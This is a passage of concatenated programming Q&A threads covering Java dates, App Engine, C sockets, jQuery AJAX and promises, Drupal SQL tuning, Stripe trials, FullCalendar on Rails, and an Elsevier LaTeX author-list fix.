*For earlier Android (<26), the ThreeTenABP project adapts ThreeTen-Backport (mentioned above). See How to use ThreeTenABP….

The ThreeTen-Extra project extends java.time with additional classes. This project is a proving ground for possible future additions to java.time. You may find some useful classes here such as Interval, YearWeek, YearQuarter, and more.

A: https://docs.oracle.com/javase/7/docs/api/java/util/Date.html
Date(String) is Deprecated. Use Date(Long)
After that use a SimpleDateFormatter new SimpleDateFormatter ("dd-MM-yyyy") ;

A: "01-01-1994" creates a String with those contents. To create a Date you will need to use one of it's constructors. For example, using the default constructor
Reiziger r1 = new Reiziger("Joost", new Date());

will work.
For more information on the class along with it's other constructors see the official documentation.
However the Date class is a bit old at this point, and as you see from other answers it's a bit of a mess to work with properly, instead I would recommend using LocalDate from the java.time package. If you are using that class then the following will create a date representing "01-01-1994": LocalDate.of(1994, 1, 1)

A: Personally I would recommend using classes from the more recent java.time library but if you want to use java.util.Date and its subclasses and set the date via a String then you can use a SimpleDateFormat like this:
private final static DateFormat dateFormat = new SimpleDateFormat("dd-MM-yyyy");
 // ...
public static void main(String[] args)  {
    // do exception handling for `parse`
    Reiziger r1 = new Reiziger("Joost", dateFormat.parse("01-01-1994"));
    Reiziger r2 = new Reiziger("Hans", null);
    // ...
}


text:
Q: Google App Engine Python: Know if an entity has been 'seen' by a user If you use messaging apps (Whatsapp, BBM, Facebook's Messenger), then you should be familiar with the indication of your messages being 'seen' by your recipient.
I would like to build this feature to my entities.
For example, consider this Entity(ndb.Model):
class Entity(ndb.Model):
    title = ndb.StringProperty()
    seen = ndb.BooleanProperty(default = False)

class RenderEntity(BaseHandler):
    #renders entity on a template
    def get(self, entity_id):
        entity = Entity.get_by_id('Entity', entity_id)
        self.render('entity_template.html', entity = entity)

Here is the entity_template.html
<body>
    {{entity.title}}
    {{entity.seen}}
</body>

How do I make it so that: if a particular user sees this entity, then the seen property will be set to True?

A: Simply update the Entity in your view:
class RenderEntity(BaseHandler):
    #renders entity on a template
    def get(self, entity_id):
        entity = Entity.get_by_id('Entity', entity_id)

        # TODO: determine user_id and reciever_user_id
        if user_id == receiver_user_id:
            entity.seen = True
            entity.put()

        self.render('entity_template.html', entity = entity)

You did not specify how you determine the user_id nor how you know it the recipient, but you can use a simple if test once you do have them.


text:
Q: Concatenated strings that end with \0 in C Is there a way to have concatenated strings in C that are separated between them by the symbol \0?
For example. I'm creating a simple program that consists of a client (in Java) and a server (in C). The java client sends a message that has two "parts" in it, the operation (REGISTER, for example) and the parameter (USERNAME). Then, the server has to recognize the operation and the parameter and do some operations.
The thing is that, it is necessary for the operation and the parameter (both strings) to end with a \0 symbol, but doing this makes the server only recognize the operation (because when it receives the message from the client, it stops reading when it finds the \0 symbol).
Is there a way to receive the message from the client as "OPERATION\0PARAMETER\0" and recognize both the string for OPERATION and the string for PARAMETER?
PD: I'm implementing this program with TCP sockets, and in the client side I'm using printwriter for sending the message.
PD2: the message cannot exceed 256 bytes
Thanks in advance

A: Just keep calling recv (accumulating the data in a buffer) until the data you have received includes two zero bytes. Once it does, parse the received data to extract both strings.

*

*Empty the buffer.

*Call recv to read (more) data into the buffer.

*Count the number of zero bytes in the used part of the buffer. If it's less than 2, go to step 2.

*Extract the two strings from the buffer. One starts at the beginning of the buffer. The other starts after the first zero byte.


text:
Q: JQuery Ajax bad request to RESTfull API I'm trying to authenticate against demo webservices developed by a colleague of mine.
the Cross-origin resource sharing is allowed and works perfectly if I try to call from Advanced rest client plugin in Chrome.
but when I try to access with the code I get 500 server error
.ajax({
        type : "POST",
        dataType: 'json',
        url: 'CANTPOSTTHISURL/rest/session',
        contentType: "application/json; charset=utf-8",
        data: JSON.stringify({"username": "admin", "password": "admin" }),
        success: function(response)
        {
            console.log(response);
        },
        error: function (data, status) {
            console.log( 'Sample of error data:', status );
            console.log("readyState: "+data.readyState+"\nstatus: "+data.status+"\nresponseText: "+data.responseText);
        },
        complete: function(xhr, status ) {
            console.log( 'COMPLETE');
        }
  });

the errors I get are:
    OPTIONS CANTPOSTTHISURL/rest/session 500 (Internal Server Error) jquery.js:8475
send jquery.js:8475
jQuery.extend.ajax jquery.js:7930
authenticate wts.js:5
(anonymous function) wts.js:27
jQuery.event.dispatch jquery.js:3045
elemData.handle jquery.js:2721
jQuery.event.trigger jquery.js:2957
(anonymous function) jquery.js:3639
jQuery.extend.each jquery.js:631
jQuery.fn.jQuery.each jquery.js:253
jQuery.fn.extend.trigger jquery.js:3638
H jquery.mobile-1.3.0.min.js:2
I jquery.mobile-1.3.0.min.js:2
jQuery.event.dispatch jquery.js:3045
elemData.handle jquery.js:2721
OPTIONS CANTPOSTTHISURL/rest/session Invalid HTTP status code 500 jquery.js:8475
send jquery.js:8475
jQuery.extend.ajax jquery.js:7930
authenticate wts.js:5
(anonymous function) wts.js:27
jQuery.event.dispatch jquery.js:3045
elemData.handle jquery.js:2721
jQuery.event.trigger jquery.js:2957
(anonymous function) jquery.js:3639
jQuery.extend.each jquery.js:631
jQuery.fn.jQuery.each jquery.js:253
jQuery.fn.extend.trigger jquery.js:3638
H jquery.mobile-1.3.0.min.js:2
I jquery.mobile-1.3.0.min.js:2
jQuery.event.dispatch jquery.js:3045
elemData.handle jquery.js:2721
XMLHttpRequest cannot load CANTPOSTTHISURL/rest/session. Invalid HTTP status code 500 index.html:1
Sample of error data: error wts.js:16
readyState: 0
status: 0
responseText:  wts.js:17
COMPLETE

and the headers:
Request URL:CANTPOSTTHISURL/rest/session
Request Method:OPTIONS
Status Code:500 Internal Server Error
Request Headersview source
Accept:*/*
Accept-Encoding:gzip,deflate,sdch
Accept-Language:en-US,en;q=0.8
Access-Control-Request-Headers:accept, content-type
Access-Control-Request-Method:POST
Connection:keep-alive
Host:CANTPOSTTHISURL
Origin:http://127.0.0.1:8020
Referer:http://127.0.0.1:8020/ppm/index.html
User-Agent:Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1700.102 Safari/537.36
Response Headersview source
Access-Control-Allow-Origin:*
Connection:close
Content-Type:application/json
Date:Mon, 31 Mar 2014 13:24:36 GMT
Server:Wildfly 8
Set-Cookie:GEAR=local-53185956500446bd39000020; path=/
Transfer-Encoding:chunked
X-Powered-By:Undertow 1
ConsoleSearch

I think it is the data I'm sending but I also tried with '{"username": "admin", "password": "admin" }' or {"username": "admin", "password": "admin" } but nothing changes.
an important remark: I can only do POST or OPTION requests so no jsonp
thank you

A: I don't think You need to use stringify method.
I am using below format, and its working for me:
url : "http://localhost:9200/" + eleName + "/_suggest",
type : "POST",
dataType : "json",
ContentType: "application/json; charset=utf-8",
data:"{\"result\":{\"text\":\"" + request.term + "\",\"completion\":{\"size\" :10,\"field\":\"name_suggest\"}}}",

Try with String in JSON Format.


text:
Q: Drupal MySQL query optimizazion I'm trying to optimize a MySQL query to speed up a Drupal view.
The tables are node, term_node and term_data. Node has about 500k rows, term_node about 800k and term_data about 300k.
Below the query:
    SELECT SQL_NO_CACHE DISTINCT(node.nid) AS nid
    FROM drupal_node node
    LEFT JOIN drupal_term_node term_node ON node.vid = term_node.vid
    LEFT JOIN drupal_term_data term_data ON term_node.tid = term_data.tid
    WHERE (node.status = 1) AND (node.type in ('foto_foto'))
    AND (
      (UPPER(term_data.name) LIKE UPPER('%Hanaa%') OR
      UPPER(term_data.name) LIKE UPPER('%Bouchaib%')))
    GROUP BY nid
    LIMIT 0, 10;

This query takes about 11s to show up result.
All the columns involved in the join are indexed, as well as term_data.name.
node.vid, term_node.vid, term_node.tid and term_data.tid are int(10), term_data.name is a varchar(255).
The strange thing is, running the composing queries like:
SELECT SQL_NO_CACHE DISTINCT(term_node.tid)
FROM drupal_term_data term_data
LEFT JOIN drupal_term_node term_node ON term_node.tid = term_data.tid
WHERE ((UPPER(term_data.name) LIKE UPPER('%Hanaa%')
  OR UPPER(term_data.name) LIKE UPPER('%Bouchaib%')))
group by term_node.tid

and
SELECT SQL_NO_CACHE DISTINCT(node.nid) AS nid
FROM drupal_node node
LEFT JOIN drupal_term_node term_node ON node.vid = term_node.vid
WHERE (node.status = 1) AND (node.type in ('foto_foto'))
GROUP BY nid

takes 0.23s for the firs and 0.12s for the last. So I'm expecting that the main query should run below 0.5s at least. It's like the optimizer had not ran on the query.
I've already ran ANALYZE and OPTIMIZE on the involved tables, and below is the result of EXPLAIN EXTENDED.
*************************** 1. row ***************************
           id: 1
  select_type: SIMPLE
        table: node
         type: range
possible_keys: vid,node_status_type,node_type
          key: node_status_type
      key_len: 102
          ref: NULL
         rows: 496217
     filtered: 100.00
        Extra: Using where
*************************** 2. row ***************************
           id: 1
  select_type: SIMPLE
        table: term_node
         type: ref
possible_keys: PRIMARY,vid
          key: vid
      key_len: 4
          ref: drupal_foto.node.vid
         rows: 7
     filtered: 100.00
        Extra: Using where
*************************** 3. row ***************************
           id: 1
  select_type: SIMPLE
        table: term_data
         type: eq_ref
possible_keys: PRIMARY
          key: PRIMARY
      key_len: 4
          ref: drupal_foto.term_node.tid
         rows: 1
     filtered: 100.00
        Extra: Using where
3 rows in set, 1 warning (0.00 sec)

The warning provide only a note level warning with code 1003.

A: I gant gaurantee results but here are some things to try:

*

*SInce the query has a comparison filter on term_data it shouldn't be using left join.   Change left joins to inner join as it only will return rows in both tables in each, and this will allow it to go by the term table first.

*Distinct and group by are redundant.  You shouldn't need both.  Use one or the other.


text:
Q: Charge Customer at beginning of trial period on Stripe I am trying to create a subscription with a trial period which is easy to do with stripe the problem is that the docs say

When creating a subscription with a trial period, no payment method is required for the customer. An immediate invoice is still created, but for $0

I want to charge the customer at the beginning of trial period
so for example if a customer subscribe for a 1 month with 7 days trial I want to charge them for 1 month at the beginning of the 37 days
is that possible , I am using .NET

A: You would need to add a single, one-off line item on the initial Subscription creation which Stripe would charge for up-front, alongside starting the initial free trial. Please be aware though that with this approach your customer would be billed again after the initial 7 day trial.


text:
Q: jQuery promise to simulate synchronous calls of function over array Let' say I need to make a synchronous upload of files. One after another.
I found this stackoverflow topic. And modified the code:
var arr = ["file1", "file2", "file3"];

var d = $.Deferred().resolve();
while (arr.length > 0) {
   d = d.then(uploadFile(arr.shift()));
}

function uploadFile(file){
    var d = $.Deferred();
    setTimeout(function(){ console.log("Uploading file:"+file); d.resolve(""); },1000);
    return d.promise();
}

But i still get them all called asynchronously, but with timeout 1000.
Here is fiddle: fiddle
SOLUTION:
Big thanx to Felix. Here is working fiddle

A: You have to pass a function to .then. Currently you are calling uploadFile immediately inside the loop and passing a promise to .then instead of a function.
You can do the following without having to use a loop:
d.then(function next() {
  var promise = uploadFile(arr.shift());
  return arr.length === 0 ? promise : promise.then(next);
});

This uses indirect recursion instead of a loop.


text:
Q: FullCalendar Rails7 Im trying to add fullcalendar to my rails project with the gem 'fullcalendar-rails', i have assigned tasks that I want to show in thje calendar, the had a start_time and an end_time. I do everything as it said but it doesn't show. Now I'm seeing simple calendar but is not the same.
I install momentsjs-rails gem, then in application.js and application.scss
js
//= require moment
//= require fullcalendar
//= require fullcalendar/locale-all
$('#calendar').fullCalendar({
eventSources: ["/assigned_tasks"]});

function eventCalendar() {
return $('#calendar').fullCalendar({
    eventSources: ["/assigned_tasks"]
});

};
function eventCalendar() {
return $('#calendar').fullCalendar({
    eventSources: ["/assigned_tasks"]
});

};
function clearCalendar() {
$('#calendar').fullCalendar('delete');
$('#calendar').html('');

};
$(document).on('turbolinks:load', function(){
eventCalendar();});

$(document).on('turbolinks:before-cache', clearCalendar);

scss
*= require fullcalendar
*= require fullcalendar.print

But the problem is that i create a div in the home page and it doesn't show a calendar
div id="calendar"
Sorry my english

A: Basically what i did to be able to use fullcanlendar but not to its full pontential. in`application.hmtl.erb
    document.addEventListener('DOMContentLoaded', function() {
        var calendarEl = document.getElementById('calendar');
        var calendar = new FullCalendar.Calendar(calendarEl, {

            headerToolbar: {
                left: 'today',
                center: 'prev title next',
                right: 'dayGridMonth,timeGridWeek,timeGridDay'
            },
            selectable: true,
            droppable: true,
            selectHelper: true,
            editable: true,
            eventLimit:true,
            events: '/assigned_tasks.json',
            select: function (start, end){
                $.getScript('/assigned_tasks/news',function(){
                    $('#event_date_range').val(moment(start).format("MM/DD/YYYY HH:mm") + ' - ' + moment(end).format("MM/DD/YYYY HH:mm"))
                    date_picker();
                    $('.start_hidden').val(moment(start).format('YYYY-MM-DD HH:mm'));
                    $('.end_hidden').val(moment(end).format('YYYY-MM-DD HH:mm'));
                });
                calendar.fullCalendar('unselect');
            },
            eventDrop: function (assigned_task, delta, revertFunc) {
                 assigned_task_data = {
                    assigned_task: {
                        id: assigned_task.id,
                        start_time: assigned_task.start_time.format(),
                        end_time: assigned_task.end_time.format()
                    }

                };
                $.ajax({
                    url: assigned_task.update_url,
                    data: assigned_task_data,
                    type: 'PATCH'
                });
            },
            eventClick: function (assigned_task, jsEvent, view){
                alert();

            },
            initialView: 'dayGridMonth'
        });
        calendar.render();
    });

</script>`

And then create the correspondings js , modals and partial view but drag and drop doesn't work, onclick it doesn't show the modals but i can send alerts, but if I create an event it appears on the calendar and with color, I hope, it is usefull for anybody out there trying to use fullcalendar with rails 7


text:
Q: PdfLaTex: Author List Problem When Using Elsevier Template I'm trying to use the Elsevier template from https://www.ctan.org/tex-archive/macros/latex/contrib/els-cas-templates, but I meet a problem when I try to include more than two authors, the results become Author1, Author2, and Author3, but I want it to be Author1, Author2, Author3, is there any way to realize this? Thanks to everyone in advance.
A minimum example is shown below:
\documentclass[a4paper,fleqn]{cas-dc}

% If the frontmatter runs over more than one page
% use the longmktitle option.

%\documentclass[a4paper,fleqn,longmktitle]{cas-dc}

% \usepackage[numbers]{natbib}
\usepackage[authoryear]{natbib}
% \usepackage[authoryear,longnamesfirst]{natbib}
\usepackage{amssymb} % Add
\usepackage{bbding} % Add
\usepackage{color} % Add
\usepackage{caption,setspace} % Add
\usepackage[nameinlink]{cleveref} % Add
\usepackage[export]{adjustbox}
\usepackage{array}
\usepackage{tabularx}
\usepackage{booktabs}
\usepackage{graphicx}
\usepackage{cellspace}
\usepackage{longtable}

\def\tabularxcolumn#1{m{#1}}

%%%Author macros
\def\tsc#1{\csdef{#1}{\textsc{\lowercase{#1}}\xspace}}
\tsc{WGM}
\tsc{QE}
%%%

% Uncomment and use as if needed
%\newtheorem{theorem}{Theorem}
%\newtheorem{lemma}[theorem]{Lemma}
%\newdefinition{rmk}{Remark}
%\newproof{pf}{Proof}
%\newproof{pot}{Proof of Theorem \ref{thm}}

\begin{document}
\captionsetup[figure]{labelfont={bf},name={Fig.},labelsep=period} % Add

\Crefname{figure}{Fig.}{Figs.} % For Fig.
\Crefname{equation}{Eq.}{Eqs.}

\let\WriteBookmarks\relax
\def\floatpagepagefraction{1}
\def\textpagefraction{.001}

% Short title
\shorttitle{A}

% Short author
\shortauthors{A et al}

% Main title of the paper
\title [mode = title]{A}
% Title footnote mark
% eg: \tnotemark[1]
% \tnotemark[1]

% Title footnote 1.
% eg: \tnotetext[1]{Title footnote text}
% \tnotetext[1]{Test}

% -------------------------------- Authors -------------------------------- %

\author[a]{AAA}[style=Chinese]

% Corresponding author indication
% \cormark[<corr mark no>]

% Footnote of the first author
% \fnmark[<footnote mark no>]

% URL of the first author
% \ead[url]{<URL>}

% Address/affiliation
\affiliation[a]{organization={A},
            % city={},
            % citysep={}, % Uncomment if no comma needed between city and postcode
            postcode={A},
            % state={},
            country={A}}

\author[a]{BBB}[style=Chinese]

% Footnote of the second author
\fnmark[*]

% URL of the first author
% \ead[url]{<URL>}

% Corresponding author text
\cortext[1]{Corresponding author}

% Footnote text
% \fntext[1]{}

% For a title note without a number/mark
% \nonumnote{}
\author[b]{CCC}

% Footnote of the third author
% \fnmark[*]

% Address/affiliation
\affiliation[b]{organization={A},
            addressline={A},
            % city={},
            % citysep={}, % Uncomment if no comma needed between city and postcode
            postcode={A},
            % state={},
            country={A}}

% -------------------------------- Abstract -------------------------------- %

\begin{abstract}
A
\end{abstract}

% -------------------------------- Introduction -------------------------------- %
\maketitle

\section{Introduction}\label{1}
A

% -------------------------------- Bibliography -------------------------------- %

%% Loading bibliography style file
%\bibliographystyle{model1-num-names}
\bibliographystyle{cas-model2-names}

% Loading bibliography database
\bibliography{refs}

% -------------------------------- End -------------------------------- %

\end{document}

Use the above code to replace cas-dc-template.tex, then it should be compiled without error.

A: Added some code to your example.

\documentclass[a4paper,fleqn]{cas-dc}

%%********************************** added <<<<<<<<<<<<<<<<
\usepackage{xparse}
\ExplSyntaxOn
\RenewDocumentCommand \stmauthors { }
{
    \group_begin:
    \stmAuthorSetup { type = authors }
    \l_stm_au_setup_tl
    \par \vskip\l_stm_augroup_before_dim
    \l_stm_augroup_align_tl
    \l_stm_augroup_size_tl
    \l_stm_augroup_shape_tl
    \l_stm_augroup_weight_tl
    \color{ \l_stm_augroup_color_tl }
    \bool_if:NTF \g_stm_augr_bool
    { \seq_use:Nn \g_stm_augr_seq { \par } }
    {
        \seq_use:cnnn { g_stm_au\int_use:N\g_stm_augr_int _seq }
        { ,~ } { ,~ } { ,~ }
    }
    \par\vskip\l_stm_augroup_after_dim
    \group_end:
}
\ExplSyntaxOff
%%**********************************

% If the frontmatter runs over more than one page
% use the longmktitle option.

%\documentclass[a4paper,fleqn,longmktitle]{cas-dc}

% \usepackage[numbers]{natbib}
\usepackage[authoryear]{natbib}
% \usepackage[authoryear,longnamesfirst]{natbib}
\usepackage{amssymb} % Add
\usepackage{bbding} % Add
\usepackage{color} % Add
\usepackage{caption,setspace} % Add
\usepackage[nameinlink]{cleveref} % Add
\usepackage[export]{adjustbox}
\usepackage{array}
\usepackage{tabularx}
\usepackage{booktabs}
\usepackage{graphicx}
\usepackage{cellspace}
\usepackage{longtable}

%\newcommand\theead { \int_use:N \g_ead_int }

\def\tabularxcolumn#1{m{#1}}

%%%Author macros
\def\tsc#1{\csdef{#1}{\textsc{\lowercase{#1}}\xspace}}
\tsc{WGM}
\tsc{QE}
%%%

% Uncomment and use as if needed
%\newtheorem{theorem}{Theorem}
%\newtheorem{lemma}[theorem]{Lemma}
%\newdefinition{rmk}{Remark}
%\newproof{pf}{Proof}
%\newproof{pot}{Proof of Theorem \ref{thm}}

\begin{document}
    \captionsetup[figure]{labelfont={bf},name={Fig.},labelsep=period} % Add

    \Crefname{figure}{Fig.}{Figs.} % For Fig.
    \Crefname{equation}{Eq.}{Eqs.}

    \let\WriteBookmarks\relax
    \def\floatpagepagefraction{1}
    \def\textpagefraction{.001}

    % Short title
    \shorttitle{ Short title}

    % Short author
    \shortauthors{A et al}

    % Main title of the paper
    \title [mode = title]{ Main title of the paper}
    % Title footnote mark
    % eg: \tnotemark[1]
    % \tnotemark[1]

    % Title footnote 1.
    % eg: \tnotetext[1]{Title footnote text}
    % \tnotetext[1]{Test}

    % -------------------------------- Authors -------------------------------- %

    \author[a]{ Author1}[style=Chinese]

    % Corresponding author indication
    % \cormark[<corr mark no>]

    % Footnote of the first author
    % \fnmark[<footnote mark no>]

    % URL of the first author
    % \ead[url]{<URL>}

    % Address/affiliation
    \affiliation[a]{organization={AAA},
        % city={},
        % citysep={}, % Uncomment if no comma needed between city and postcode
        postcode={A1},
        % state={},
        country={A2}}

    \author[a]{ Author2}[style=Chinese]

    % Footnote of the second author
    \fnmark[*]

    % URL of the first author
    % \ead[url]{<URL>}

    % Corresponding author text
    \cortext[1]{Corresponding author}

    % Footnote text
    % \fntext[1]{}

    % For a title note without a number/mark
    % \nonumnote{}
    \author[b]{ Author3}

    % Footnote of the third author
    % \fnmark[*]

    % Address/affiliation
    \affiliation[b]{organization={BBB},
        addressline={B1},
        % city={},
        % citysep={}, % Uncomment if no comma needed between city and postcode
        postcode={B2},
        % state={},
        country={B3}}

    % -------------------------------- Abstract -------------------------------- %

    \begin{abstract}
    Abstract
    \end{abstract}

    % -------------------------------- Introduction -------------------------------- %
    \maketitle

    \section{Introduction}\label{1}
    Introduction

    % -------------------------------- Bibliography -------------------------------- %

    %% Loading bibliography style file
%   %\bibliographystyle{model1-num-names}
%   \bibliographystyle{cas-model2-names}
%
%   % Loading bibliography database
%   \bibliography{refs}
%
    % -------------------------------- End -------------------------------- %

\end{document}